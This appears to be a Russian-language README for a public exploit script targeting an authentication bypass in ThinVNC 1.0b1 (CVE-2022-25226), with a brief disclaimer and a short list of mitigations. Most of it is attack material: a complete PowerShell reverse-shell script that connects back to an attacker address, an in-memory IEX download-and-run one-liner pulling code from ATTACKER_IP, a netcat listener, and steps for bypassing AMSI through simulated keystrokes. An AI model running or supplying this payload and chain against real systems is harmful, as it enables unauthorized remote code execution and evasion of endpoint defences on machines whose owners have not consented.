ThinVNC 1.0b1 - Обход аутентификации для удаленного выполнения кода (CVE-2022-25226)

Автор: krill-x7
Ссылка: https://fluidattacks.com/advisories/sinatra

Обзор

ThinVNC 1.0b1 содержит уязвимость обхода аутентификации (CVE-2022-25226), позволяющую удаленным злоумышленникам взаимодействовать с серверной частью без аутентификации. Используя открытые конечные точки /cmd, злоумышленники могут имитировать нажатия клавиш, открывать PowerShell, обходить AMSI и выполнять произвольные команды, что в конечном итоге приводит к удаленному выполнению кода (RCE).

Этот скрипт объединяет эти примитивы для получения обратной оболочки на целевой системе.

Отказ от ответственности

Этот код предоставлен только в образовательных целях.
Используйте его только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.

Требования

• Python 3
• Скрипт обратной оболочки rev.ps1, размещенный на вашей атакующей машине
• Слушатель (например, Netcat) для приема оболочки

Использование

python3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>

Пример

python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000

Настройка полезной нагрузки

1. Создайте rev.ps1

Сохраните это в файл с именем rev.ps1.
Важно: Замените 192.168.1.200 и 8000 на IP-адрес вашего атакующего и порт прослушивания.

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
}
$client.Close()

2. Разместите rev.ps1

Из той же директории:

python3 -m http.server 8000

3. Запустите слушатель

nc -lvnp 8000

Порядок эксплуатации

1. Получите действительный SID с помощью неаутентифицированного запроса к /cmd?cmd=connect.
2. Запустите этот SID с доступом к клавиатуре/мыши через /cmd?cmd=start.
3. Отправьте комбинацию клавиш Ctrl+Esc для открытия меню «Пуск».
4. Запустите PowerShell в режиме обхода.
5. Обойдите AMSI, чтобы отключить защиту PowerShell.
6. Выполните полезную нагрузку обратной оболочки с вашего HTTP-сервера.

Выполнение полезной нагрузки

Это полезная нагрузка, которая выполняется в памяти:

IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))

Замените <ATTACKER_IP> и <PORT> на ваш фактический IP-адрес и порт.

Примечания

• Полезная нагрузка выполняется с помощью внедрения команд через буфер обмена.
• Обход AMSI включен для обхода обнаружения антивирусами на основе PowerShell.
• ThinVNC запускает PowerShell с правами пользователя по умолчанию — если он запущен от имени администратора, оболочка будет с повышенными правами.

Меры защиты

• Не открывайте ThinVNC в интернет.
• Заблокируйте конечную точку /cmd с помощью конфигурации веб-сервера или WAF.
• Переключитесь на поддерживаемые, безопасные альтернативы (например, Apache Guacamole).
• Отслеживайте использование PowerShell и поведение внедрения в буфер обмена.

Авторы

• Эксплойт и автоматизация: krill-x7
• Обнаружение уязвимости и уведомление: Fluid Attacks – Advisory Sinatra